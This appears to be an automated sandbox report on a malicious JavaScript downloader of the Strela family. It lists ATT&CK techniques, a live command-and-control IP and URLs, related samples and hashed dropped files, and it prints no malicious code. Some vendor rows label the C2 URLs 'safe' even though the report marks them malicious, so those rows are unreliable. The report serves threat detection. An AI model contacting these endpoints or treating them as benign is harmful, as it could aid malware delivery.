Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
146362284148625748.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tsvcsaE	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2709539213.0000020709200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1483198985.0000020708F70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/tsvcsaE	net.exe, 00000007.00000002.1482061883.0000027D70678000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/G	net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1482061883.0000027D70678000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482061883.0000027D7069D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482061883.0000027D706CF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/c	net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/?	net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_	net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588158
Start date and time:	2025-01-10 22:00:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	146362284148625748.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 23.209.209.135, 2.23.242.162, 88.221.110.91, 2.16.100.168, 2.16.168.107, 2.16.168.105, 4.245.163.56, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:01:34	API Interceptor	21x Sleep call for process: powershell.exe modified
16:01:38	API Interceptor	1x Sleep call for process: net.exe modified
16:01:38	API Interceptor	2x Sleep call for process: svchost.exe modified
16:01:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021853487660439
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAd:RJE+Lfki1GjHwU/+vVhWqpU
MD5:	F3DC0912862B96FC67B4260195052659
SHA1:	42F047E930F66D7C967D09170710A967A8A4E972
SHA-256:	6F780472614E799FEAF1B6734FB08899082AF5E3BF283BBDC01E74EB29B36854
SHA-512:	95912389C4EB95B30EEF4013FDDE20A16A8E72804A6D0A6A549070AC1931B81B5D2E85184FAEADFE8CB17A82AA3AD365FEC905DC528B5021A66C68253843DF24
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9973ae93, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432888613527606
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	D2758F986628E9E60554943ED0891A79
SHA1:	7DBA38CEDFA4A290FC90F151100B39AED322120D
SHA-256:	F0017D47F1A94D0F289A2979D840AF45F0E687CA543E201714309AE41006CD0B
SHA-512:	2889E25836F8515B87030FA73D3EDAC76A1A125E84B435182A307451FF238AC385753B783B703D8E2C28725F4D6220F4B616A3A7A7C51B01A412CF13560F6A5B
Malicious:	false
Preview:	.s..... ...............X\...;...{......................0.x...... ...{s.&....}%.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................}&....}...................i.D&....}%..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08111671414853026
Encrypted:	false
SSDEEP:	3:pj6Ye0xRInVsl/nqlFcl1ZUllllgDkvfl/illGBnX/l/Tj/k7/t:h6zSInVsl/qlFclQ/l4k3l/G254
MD5:	B75083F4054A2FD02EB670C8C4A7A657
SHA1:	5E966A681D6D1B90A046D7F1EFE5B1196BE5A6AD
SHA-256:	F22540D008EA61B4294754E69F1DF77F6E9C3C65968ADACB00DBC6D7C937DF4B
SHA-512:	819B9EC068C12595F18F1B75A795DF1693589284423A3F488157EE0228C6F38613E309A915D9BC86D17DE2DBA73CAD28833313CDF531CFFB5BFBA8F5449599BA
Malicious:	false
Preview:	.:f......................................;...{..&....}%.. ...{s.......... ...{s.. ...{s.P.... ...{s..................i.D&....}%.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.205877496550343
Encrypted:	false
SSDEEP:	6:iO43BxMxq2PCHhJ2nKuAl9OmbnIFUtS3BzXZmws3BzFkwOCHhJ2nKuAl9OmbjLJ:7mYvBHAahFUtwz/qp56HAaSJ
MD5:	3AA26975B61428E7138D9D97CAA3A7C4
SHA1:	F8FDF492652FE0B06A83AC39A466D9C709EC9BA3
SHA-256:	29E895A97507E9DB4AF216FAE9B06F28C67C63C1AE8B1A0B328B69960170999F
SHA-512:	F8F415FCD25C609C3FC4BC6A35B0A63BFE1ADE03148EBAB97A6BE49A8CF971DB8B3C162025E96376CAEE3565E0C5BE68AED096271C3D15F4E06982F342556550
Malicious:	false
Preview:	2025/01/10-16:01:38.028 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:01:38.031 1f94 Recovering log #3.2025/01/10-16:01:38.031 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.205877496550343
Encrypted:	false
SSDEEP:	6:iO43BxMxq2PCHhJ2nKuAl9OmbnIFUtS3BzXZmws3BzFkwOCHhJ2nKuAl9OmbjLJ:7mYvBHAahFUtwz/qp56HAaSJ
MD5:	3AA26975B61428E7138D9D97CAA3A7C4
SHA1:	F8FDF492652FE0B06A83AC39A466D9C709EC9BA3
SHA-256:	29E895A97507E9DB4AF216FAE9B06F28C67C63C1AE8B1A0B328B69960170999F
SHA-512:	F8F415FCD25C609C3FC4BC6A35B0A63BFE1ADE03148EBAB97A6BE49A8CF971DB8B3C162025E96376CAEE3565E0C5BE68AED096271C3D15F4E06982F342556550
Malicious:	false
Preview:	2025/01/10-16:01:38.028 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:01:38.031 1f94 Recovering log #3.2025/01/10-16:01:38.031 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.166667453485697
Encrypted:	false
SSDEEP:	6:iO43Blfyq2PCHhJ2nKuAl9Ombzo2jMGIFUtS3BzBv3j1Zmws3BzBv31RkwOCHhJV:7mlKvBHAa8uFUtwFvj1/qFvD56HAa8RJ
MD5:	A3BDA8C81A91DDAD87297BFE4AB1ABF7
SHA1:	BFDD88B49A38D8647F686719F36D470B36239036
SHA-256:	368D2CCE9ABB5289D0652842D811E27BC8D3A2AEEF9A3F7738049B94DC989BFD
SHA-512:	4E1C40F2A8D149BB684D3FC116AB81B406541139D4009250E305F93E8C3C0B5F7B0A9EFF8C334103C950A1F76AFC6BAD4BC9E034CE22299AF718A85ADEE3B30A
Malicious:	false
Preview:	2025/01/10-16:01:38.192 510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:01:38.194 510 Recovering log #3.2025/01/10-16:01:38.194 510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.166667453485697
Encrypted:	false
SSDEEP:	6:iO43Blfyq2PCHhJ2nKuAl9Ombzo2jMGIFUtS3BzBv3j1Zmws3BzBv31RkwOCHhJV:7mlKvBHAa8uFUtwFvj1/qFvD56HAa8RJ
MD5:	A3BDA8C81A91DDAD87297BFE4AB1ABF7
SHA1:	BFDD88B49A38D8647F686719F36D470B36239036
SHA-256:	368D2CCE9ABB5289D0652842D811E27BC8D3A2AEEF9A3F7738049B94DC989BFD
SHA-512:	4E1C40F2A8D149BB684D3FC116AB81B406541139D4009250E305F93E8C3C0B5F7B0A9EFF8C334103C950A1F76AFC6BAD4BC9E034CE22299AF718A85ADEE3B30A
Malicious:	false
Preview:	2025/01/10-16:01:38.192 510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:01:38.194 510 Recovering log #3.2025/01/10-16:01:38.194 510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968396423364024
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEsBdOg2HPcaq3QYiub6P7E4T3y:Y2sRdssdMH+3QYhbS7nby
MD5:	FCB4A49FC7815C7D627E31F6A4380EF6
SHA1:	7135F1927F52493F412CB4CC78DD6390BA7037EB
SHA-256:	6E88C655661157D818EE9E3195859FB9A1446D33683C02BDA6A18FC10CB80087
SHA-512:	F2AC225659D81045E3DDDDEFA01D985AFFE3DF83DF7434B3959FBF44FE9E329FBF4C614A35B8F954014214603AA8D7DE5E66255847CF2DA48564266A317E9928
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102909879463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131637},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\caa2e9ba-7cc7-40bf-9bb8-03a02880bc52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968396423364024
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEsBdOg2HPcaq3QYiub6P7E4T3y:Y2sRdssdMH+3QYhbS7nby
MD5:	FCB4A49FC7815C7D627E31F6A4380EF6
SHA1:	7135F1927F52493F412CB4CC78DD6390BA7037EB
SHA-256:	6E88C655661157D818EE9E3195859FB9A1446D33683C02BDA6A18FC10CB80087
SHA-512:	F2AC225659D81045E3DDDDEFA01D985AFFE3DF83DF7434B3959FBF44FE9E329FBF4C614A35B8F954014214603AA8D7DE5E66255847CF2DA48564266A317E9928
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102909879463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131637},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.226670965409083
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bcjpY:S43C4mS7fFi0KFYDjr3LWO3V3aw+bcjy
MD5:	49FE547C9D0CD7062C81F54AB8882266
SHA1:	15EC06F784C2D878269405D1A1406AF0CC914D4E
SHA-256:	ADAC5809ECC5AFDBB2EE863BBC52AEBB5CDACF5992206E6AFAF95CE156A824A4
SHA-512:	BD475007E8D6FEB21D156D8285B7317E362FAF198A9C81B76B0975244DBFED2F7DE6D53E75A2B061B9C0CDF3FDC3CB58EFFC80C8FD59088ED0C1A28699363F7E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1466973364866595
Encrypted:	false
SSDEEP:	6:iO43Bylyq2PCHhJ2nKuAl9OmbzNMxIFUtS3BFj1Zmws3BERkwOCHhJ2nKuAl9Omk:7mTvBHAa8jFUtwFj1/qE56HAa84J
MD5:	BC167918D75834F3EE927D1C5A42A637
SHA1:	C2FA33065DF590C306A7586C69D834F2C51A11E2
SHA-256:	9EBB88547FCE8BAAD44145D56DEDDF13223FEB43FFC683FB1BE8327F747D808E
SHA-512:	A4A3E184083A26D724CFAB83588E6D86B2477840634BCBC4F68E9F120D4F45E4A5FCF710CA035E990F9DB7BF1E894D13F9C85A7EAA807E339E20461CA6F74D8D
Malicious:	false
Preview:	2025/01/10-16:01:38.410 510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:01:38.411 510 Recovering log #3.2025/01/10-16:01:38.412 510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1466973364866595
Encrypted:	false
SSDEEP:	6:iO43Bylyq2PCHhJ2nKuAl9OmbzNMxIFUtS3BFj1Zmws3BERkwOCHhJ2nKuAl9Omk:7mTvBHAa8jFUtwFj1/qE56HAa84J
MD5:	BC167918D75834F3EE927D1C5A42A637
SHA1:	C2FA33065DF590C306A7586C69D834F2C51A11E2
SHA-256:	9EBB88547FCE8BAAD44145D56DEDDF13223FEB43FFC683FB1BE8327F747D808E
SHA-512:	A4A3E184083A26D724CFAB83588E6D86B2477840634BCBC4F68E9F120D4F45E4A5FCF710CA035E990F9DB7BF1E894D13F9C85A7EAA807E339E20461CA6F74D8D
Malicious:	false
Preview:	2025/01/10-16:01:38.410 510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:01:38.411 510 Recovering log #3.2025/01/10-16:01:38.412 510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
